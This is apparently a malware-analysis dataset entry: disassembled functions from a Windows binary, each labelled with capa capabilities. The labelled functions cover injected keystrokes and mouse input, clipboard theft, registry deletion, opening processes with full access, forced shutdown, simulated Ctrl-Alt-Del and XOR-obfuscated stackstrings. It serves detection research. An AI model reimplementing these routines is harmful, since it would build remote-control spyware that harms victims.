joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406900
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
sub esp, 0x120
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32_LoadLibraryA]
push esi
push edi
push str.CreateFileA
mov dword [esp + 0x2c], ecx
push 0x418010
call ebp
mov ebx, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call ebx
xor esi, esi
push str.GetSystemDirectoryA
push 0x418010
mov edi, eax
mov dword [esp + 0x2c], esi
call ebp
push eax
call ebx
lea ecx, [esp + 0x2c]
push 0x104
push ecx
call eax
mov al, 0x6f
lea edx, [esp + 0x10]
mov byte [esp + 0x11], al
mov byte [esp + 0x15], al
lea eax, [esp + 0x2c]
push edx
push eax
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x1a], 0x75
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32_lstrcatA]
push esi
push 0x80
push 3
push esi
push 1
lea ecx, [esp + 0x40]
push accept
push ecx
call edi
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x1c], edi
je 0x406a30
push 0x4183c4
push 0x418010
call ebp
push eax
call ebx
push 0x4183d0
push 0x418010
mov esi, eax
call ebp
push eax
call ebx
push 0
push edi
mov dword [esp + 0x28], eax
call esi
mov esi, eax
push esi
call sub.MSVCRT_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea edx, [esp + 0x24]
mov edi, eax
mov eax, dword [esp + 0x1c]
push 0
push edx
push esi
push edi
push eax
call dword [esp + 0x34]
xor eax, eax
test esi, esi
jbe 0x406a16
mov cl, byte [eax + edi]
xor cl, 0x62
mov byte [eax + edi], cl
inc eax
cmp eax, esi
jb 0x406a08
mov ecx, dword [esp + 0x28]
push esi
push edi
call fcn.00406880
push edi
mov esi, eax
call sub.MSVCRT_void___cdecl_operator_delete_void__
mov edi, dword [esp + 0x20]
add esp, 4
push 0x418818
push 0x418010
call ebp
push eax
call ebx
push edi
call eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x120
ret
Function at 0x407170
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4153a0
push 0x411cc6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
push str.RegSetValueExA
push 0x418228
mov edi, dword [sym.imp.KERNEL32_LoadLibraryA]
call edi
push eax
mov esi, dword [sym.imp.KERNEL32_GetProcAddress]
call esi
mov ebx, eax
push 0x418308
push 0x418228
call edi
push eax
call esi
mov esi, eax
xor edi, edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 4], edi
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x4071d5
jmp dword [eax*4 + 0x407318]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x2c]
push ecx
push edi
push 0xf003f
push edi
push edi
push edi
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32_RegCreateKeyExA]
test eax, eax
jne case.default.0x4071d5
lea ecx, [ebp - 0x2c]
push ecx
push 0x2001f
push edi
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call esi
test eax, eax
jne case.default.0x4071d5
mov esi, dword [ebp + 0x14]
cmp esi, edi
jbe case.default.0x4071d5
cmp esi, 2
jbe 0x407253
cmp esi, 4
jne case.default.0x4071d5
push esi
lea ecx, [ebp + 0x1c]
push ecx
push esi
push edi
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call ebx
test eax, eax
jne case.default.0x4071d5
jmp 0x4072cb
mov edx, dword [ebp + 0x18]
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push esi
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call ebx
test eax, eax
jne case.default.0x4071d5
jmp 0x4072cb
lea eax, [ebp - 0x2c]
push eax
push 0x2001f
push edi
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call esi
test eax, eax
jne case.default.0x4071d5
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.ADVAPI32_RegDeleteKeyA]
test eax, eax
jne case.default.0x4071d5
jmp 0x4072cb
lea edx, [ebp - 0x2c]
push edx
push 0x2001f
push edi
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call esi
test eax, eax
jne case.default.0x4071d5
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.ADVAPI32_RegDeleteValueA]
test eax, eax
jne case.default.0x4071d5
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.004072f2
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407330
Capabilities:
Log keystrokes

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
push edi
push 0x419020
push str.User32.DLL
call esi
mov ebx, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call ebx
mov edi, eax
push str.mouse_event
push str.User32.DLL
mov dword [esp + 0x18], edi
call esi
push eax
call ebx
mov esi, dword [esp + 0x1c]
mov ebp, eax
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x407503
call fcn.0040afb0
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x407503
mov edx, dword [esp + 0x18]
mov dword [esp + 0x1c], esi
lea ebx, [edx + 8]
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x4073de
cmp eax, 0x208
ja 0x4073de
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32_WindowFromPoint]
push eax
call dword [sym.imp.USER32_SetCapture]
mov edi, dword [esp + 0x10]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x407482
je 0x40746a
cmp eax, 0x105
ja 0x40743e
je 0x407424
sub eax, 0x100
je 0x40740a
dec eax
je 0x407424
sub eax, 3
jne case.0x40748c.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call edi
jmp case.0x40748c.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call edi
jmp case.0x40748c.521
sub eax, 0x201
je 0x40745b
dec eax
jne case.0x40748c.521
push 0
push 0
push 0
push 0
push 4
jmp 0x4074ef
push 0
push 0
push 0
push 0
push 2
jmp 0x4074ef
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x4074ef
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x40748c.521
jmp dword [eax*4 + 0x40750c]
push 0
push 0
push 0
push 0
push 8
jmp 0x4074ef
push 0
push 0
push 0
push 0
push 0x10
jmp 0x4074ef
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x4074ef
push 0
push 0
push 0
push 0
push 0x20
jmp 0x4074ef
push 0
push 0
push 0
push 0
push 0x40
jmp 0x4074ef
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x1c]
add ebx, 0x1c
dec eax
mov dword [esp + 0x1c], eax
jne 0x4073a6
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x407530
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
sub esp, 0x1c
push 0
mov byte [esp + 4], 0x47
mov byte [esp + 5], 0x6c
mov byte [esp + 6], 0x6f
mov byte [esp + 7], 0x62
mov byte [esp + 8], 0x61
mov byte [esp + 9], 0x6c
mov byte [esp + 0xa], 0x4c
mov byte [esp + 0xb], 0x6f
mov byte [esp + 0xc], 0x63
mov byte [esp + 0xd], 0x6b
mov byte [esp + 0xe], 0
call dword [sym.imp.USER32_OpenClipboard]
test eax, eax
je 0x407650
push ebx
mov ebx, dword [sym.imp.KERNEL32_LoadLibraryA]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push 0x418010
call ebx
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call edi
mov esi, eax
call dword [sym.imp.USER32_EmptyClipboard]
push 0x41902c
push 0x418010
call ebx
push eax
call edi
mov edi, dword [esp + 0x34]
push edi
push 0x2000
call eax
mov ebp, eax
test ebp, ebp
je 0x407646
push ebp
call esi
mov esi, dword [esp + 0x30]
mov ecx, edi
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x418010
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x25], 0x6c
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], 0x62
mov byte [esp + 0x28], 0x61
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x55
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], 0x6f
mov byte [esp + 0x2e], 0x63
mov byte [esp + 0x2f], 0x6b
mov byte [esp + 0x30], 0
call ebx
push eax
call dword [sym.imp.KERNEL32_GetProcAddress]
push ebp
call eax
push ebp
push 1
call dword [sym.imp.USER32_SetClipboardData]
push ebp
call dword [sym.imp.KERNEL32_GlobalFree]
call dword [sym.imp.USER32_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 8
Function at 0x407660
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0x14
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32_OpenClipboard]
test eax, eax
je 0x407742
push 1
call dword [sym.imp.USER32_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x407695
call dword [sym.imp.USER32_CloseClipboard]
pop esi
add esp, 0x14
ret
mov al, 0x6f
push ebx
mov byte [esp + 0x12], al
mov byte [esp + 0x17], al
push ebp
lea eax, [esp + 0x14]
push edi
mov cl, 0x6c
push eax
push 0x418010
mov byte [esp + 0x20], 0x47
mov byte [esp + 0x21], cl
mov byte [esp + 0x23], 0x62
mov byte [esp + 0x24], 0x61
mov byte [esp + 0x25], cl
mov byte [esp + 0x26], 0x4c
mov byte [esp + 0x28], 0x63
mov byte [esp + 0x29], 0x6b
mov byte [esp + 0x2a], 0
call dword [sym.imp.KERNEL32_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32_GetProcAddress]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32_GlobalSize]
mov ebx, eax
push esi
inc ebx
call edi
push ebx
mov esi, eax
call sub.MSVCRT_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov edx, ecx
mov eax, dword [esp + 0x14]
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add esp, 4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32_GlobalUnlock]
call dword [sym.imp.USER32_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.00406ad0
push ebp
call sub.MSVCRT_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x14
ret
Function at 0x409400
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.KERNEL32_lstrlenA]
xor ecx, ecx
test eax, eax
jle 0x409420
mov dl, byte [ecx + esi]
xor dl, 7
mov byte [ecx + esi], dl
inc ecx
cmp ecx, eax
jl 0x409412
mov eax, esi
pop esi
ret

Function at 0x409880
Capabilities:
Check os version
Contain obfuscated stackstrings
Get socket information

Disassembly:
sub esp, 0x350
push ebp
mov ebp, dword [sym.imp.KERNEL32_GetVersionExA]
push esi
lea eax, [esp + 0x88]
push edi
push eax
mov byte [esp + 0x8c], 0x66
mov byte [esp + 0x17a], 0
mov dword [esp + 0x90], 0x9c
call ebp
lea ecx, [esp + 0x25c]
push 0x100
push ecx
call dword [sym.imp.WS2_32_Ordinal_57]
xor edx, edx
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], edx
push eax
mov dword [esp + 0x28], edx
lea ecx, [esp + 0x24]
mov dword [esp + 0x2c], edx
push ecx
mov dword [esp + 0x34], edx
mov edx, dword [esp + 0x36c]
mov dword [esp + 0x24], 0x10
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32_Ordinal_6]
mov ecx, dword [esp + 0x24]
lea esi, [esp + 0x25c]
mov dword [esp + 0x140], ecx
mov ecx, 0xc
lea edi, [esp + 0x144]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00409780
lea edx, [esp + 0x1c0]
mov dword [esp + 0x128], eax
push edx
mov dword [esp + 0x1c4], 0x9c
call ebp
cmp dword [esp + 0x1c4], 5
jne 0x409971
mov eax, dword [esp + 0x1c8]
test eax, eax
jne 0x409971
mov esi, dword [sym.imp.KERNEL32_lstrcpyA]
lea eax, [esp + 0x12c]
push 0x418e44
push eax
call esi
jmp 0x409a07
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
push str.wsprintfA
push str.User32.DLL
call esi
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call edi
mov cl, 0x65
mov ebp, eax
mov byte [esp + 0xd], cl
mov byte [esp + 0x13], cl
lea ecx, [esp + 0xc]
mov al, 0x74
push ecx
push 0x418010
mov byte [esp + 0x14], 0x47
mov byte [esp + 0x16], al
mov byte [esp + 0x17], 0x53
mov byte [esp + 0x18], 0x79
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], al
mov byte [esp + 0x1c], 0x6d
mov byte [esp + 0x1d], 0x49
mov byte [esp + 0x1e], 0x6e
mov byte [esp + 0x1f], 0x66
mov byte [esp + 0x20], 0x6f
mov byte [esp + 0x21], 0
call esi
push eax
call edi
lea edx, [esp + 0x64]
push edx
call eax
mov eax, dword [esp + 0x78]
lea ecx, [esp + 0x12c]
push eax
push 0x419000
push ecx
call ebp
mov esi, dword [sym.imp.KERNEL32_lstrcpyA]
add esp, 0xc
call fcn.00409820
mov edx, dword [esp + 0x368]
mov byte [esp + 0x176], al
lea eax, [esp + 0x30]
push 0x41ac00
push eax
mov dword [esp + 0x180], edx
call esi
push 0
push 0x32
lea ecx, [esp + 0x38]
push 0
push ecx
push 1
push str.Host
push str.SYSTEMCurrentControlSetServicesBITS
push reloc.WS2_32_accept
call fcn.00406bd0
add esp, 0x20
lea edx, [esp + 0x30]
push edx
call dword [sym.imp.KERNEL32_lstrlenA]
test eax, eax
jne 0x409a72
mov eax, dword [esp + 0x36c]
lea ecx, [esp + 0x17c]
push eax
push ecx
jmp 0x409a7f
lea edx, [esp + 0x30]
lea eax, [esp + 0x17c]
push edx
push eax
call esi
lea ecx, [esp + 0x1ae]
push 0x419230
push ecx
call esi
mov ecx, dword [esp + 0x364]
lea edx, [esp + 0x88]
push 0x138
push edx
call fcn.00402770
pop edi
pop esi
pop ebp
add esp, 0x350
ret
Function at 0x40a080
Capabilities:
Print debug messages

Disassembly:
push edi
push 0x418058
push 0x4180e8
call dword [sym.imp.KERNEL32_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32_GetProcAddress]
mov edi, eax
push 0x419270
mov eax, dword [esp + 0xc]
push eax
mov dword [0x41b490], eax
call fcn.004053b0
add esp, 8
test eax, eax
jne 0x40a0c7
push 0x419288
call dword [sym.imp.KERNEL32_OutputDebugStringA]
or eax, 0xffffffff
pop edi
ret 0x10
push esi
push 0
push 0
push 0
push 0
push 0x409cd0
push 0
push 0
call fcn.0040aad0
push 0
push 0
push 0
push 0
push 0x409ac0
push 0
push 0
mov esi, eax
call fcn.0040aad0
add esp, 0x38
push 0xffffffffffffffff
push esi
call edi
push esi
call dword [sym.imp.KERNEL32_CloseHandle]
pop esi
xor eax, eax
pop edi
ret 0x10

Function at 0x40a3e0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32_LoadLibraryA]
push ebp
push esi
push edi
mov edi, ecx
push 0x418124
push 0x418010
mov dword [esp + 0x1c], edi
call ebx
mov ebp, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call ebp
push 1
push 0x418804
mov dword [esp + 0x20], eax
call fcn.0040a7c0
add esp, 8
push 0x419108
push 0x418010
call ebx
push eax
call ebp
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x24]
xor esi, esi
test eax, eax
jbe 0x40a477
push 0x4192ac
push 0x418010
call ebx
push eax
call ebp
mov ecx, dword [esp + 0x20]
mov edx, dword [esi + ecx]
push edx
push 0
push 0x1f0fff
call eax
mov edi, eax
push 0
push edi
call dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32_CloseHandle]
mov eax, dword [esp + 0x24]
add esi, 4
cmp esi, eax
jb 0x40a438
mov edi, dword [esp + 0x14]
push 0
push 0x418804
call fcn.0040a7c0
add esp, 8
push 0x64
call dword [esp + 0x1c]
mov ecx, edi
call fcn.0040a200
mov ecx, edi
call fcn.0040a240
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8
Function at 0x40a8a0
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.0040a7c0
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.0040a7c0
add esp, 8
ret

Function at 0x40aad0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
push edi
push str.CreateEventA
push 0x418010
call esi
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call edi
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
push 0
mov dword [esp + 0x10], ecx
mov cl, byte [esp + 0x3c]
push 0
push 0
push 0
mov dword [esp + 0x20], edx
mov byte [esp + 0x24], cl
call eax
mov edx, dword [esp + 0x34]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x30]
push edx
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x28]
push ecx
push 0x40aa10
push edx
push eax
call dword [sym.imp.MSVCRT__beginthreadex]
add esp, 0x18
mov ebx, eax
push 0x418058
push 0x418010
call esi
push eax
call edi
mov ecx, dword [esp + 0x18]
push 0xffffffffffffffff
push ecx
call eax
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x10
ret

Function at 0x40ab70
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
push edi
push str.Process32Next
push 0x418010
call esi
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call edi
push str.CreateToolhelp32Snapshot
push 0x418010
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push 0
push 2
call eax
mov ebp, eax
push 0x128
mov dword [esp + 0x14], ebp
call sub.MSVCRT_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
mov al, 0x73
add esp, 4
mov cl, 0x72
mov dword [ebx], 0x128
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x24], al
lea eax, [esp + 0x18]
mov byte [esp + 0x18], 0x50
push eax
push 0x418010
mov byte [esp + 0x21], cl
mov byte [esp + 0x22], 0x6f
mov byte [esp + 0x23], 0x63
mov byte [esp + 0x24], 0x65
mov byte [esp + 0x27], 0x33
mov byte [esp + 0x28], 0x32
mov byte [esp + 0x29], 0x46
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], cl
mov byte [esp + 0x2d], 0x74
mov byte [esp + 0x2e], 0
call esi
push eax
call edi
push ebx
push ebp
call eax
test eax, eax
je 0x40ac87
push 0x419330
push 0x418010
call esi
push eax
call edi
mov ecx, dword [esp + 0x2c]
lea ebp, [ebx + 0x24]
push ecx
push ebp
call eax
test eax, eax
jne 0x40ac50
mov eax, dword [ebx + 8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
mov edx, dword [esp + 0x10]
push ebx
push edx
call dword [esp + 0x1c]
test eax, eax
je 0x40ac87
push 0x419330
push 0x418010
call esi
push eax
call edi
mov ecx, dword [esp + 0x2c]
push ecx
push ebp
call eax
test eax, eax
je 0x40ac45
mov edx, dword [esp + 0x10]
push ebx
push edx
call dword [esp + 0x1c]
test eax, eax
jne 0x40ac5e
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x40af30
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x40af7a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x40af7a
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x40af97
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x40af97
call fcn.0040ad40
pop edi
pop esi
add esp, 0x9c
ret
call fcn.0040aca0
pop edi
pop esi
add esp, 0x9c
ret

Function at 0x40afb0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x210
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
push edi
push str.CloseDesktop
push str.User32.DLL
call esi
mov ebx, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call ebx
push str.OpenInputDesktop
push str.User32.DLL
mov dword [esp + 0x1c], eax
call esi
push eax
call ebx
push str.GetThreadDesktop
push str.User32.DLL
mov ebp, eax
call esi
push eax
call ebx
push 0x41938c
push 0x418010
mov edi, eax
mov dword [esp + 0x20], 0
call esi
push eax
call ebx
call eax
push eax
call edi
mov edx, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x20]
push eax
push 0x100
push ecx
push 2
push edx
mov dword [esp + 0x24], edx
call dword [sym.imp.USER32_GetUserObjectInformationA]
push 0x2000000
push 0
push 0
call ebp
mov ebp, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x120]
lea edx, [esp + 0x1c]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x124]
push 0x100
push eax
push 2
push ebp
call dword [sym.imp.USER32_GetUserObjectInformationA]
push 0x419330
push 0x418010
call esi
push eax
call ebx
lea ecx, [esp + 0x20]
lea edx, [esp + 0x120]
push ecx
push edx
call eax
test eax, eax
je 0x40b0b5
push str.SetThreadDesktop
push str.User32.DLL
call esi
push eax
call ebx
push ebp
call eax
mov esi, 1
jmp 0x40b0b9
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x14]
push eax
call edi
push ebp
call edi
xor eax, eax
pop edi
test esi, esi
pop esi
pop ebp
setne al
pop ebx
add esp, 0x210
ret
Function at 0x40b240
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
push edi
push str.GetThreadDesktop
push str.User32.DLL
call esi
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call edi
push 0x41938c
push 0x418010
mov ebx, eax
call esi
push eax
call edi
call eax
push eax
call ebx
mov esi, eax
mov al, 0x6f
mov byte [esp + 0x10], al
mov byte [esp + 0x12], al
lea eax, [esp + 0xc]
mov cl, 0x6e
push eax
mov byte [esp + 0x10], 0x57
mov byte [esp + 0x11], 0x69
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0x6c
mov byte [esp + 0x15], 0x67
mov byte [esp + 0x17], cl
mov byte [esp + 0x18], 0
call fcn.0040b1a0
add esp, 4
test eax, eax
jne 0x40b2be
pop edi
pop esi
pop ebx
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32_PostMessageA]
test esi, esi
je 0x40b2e2
push esi
call fcn.0040b0e0
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0xc
ret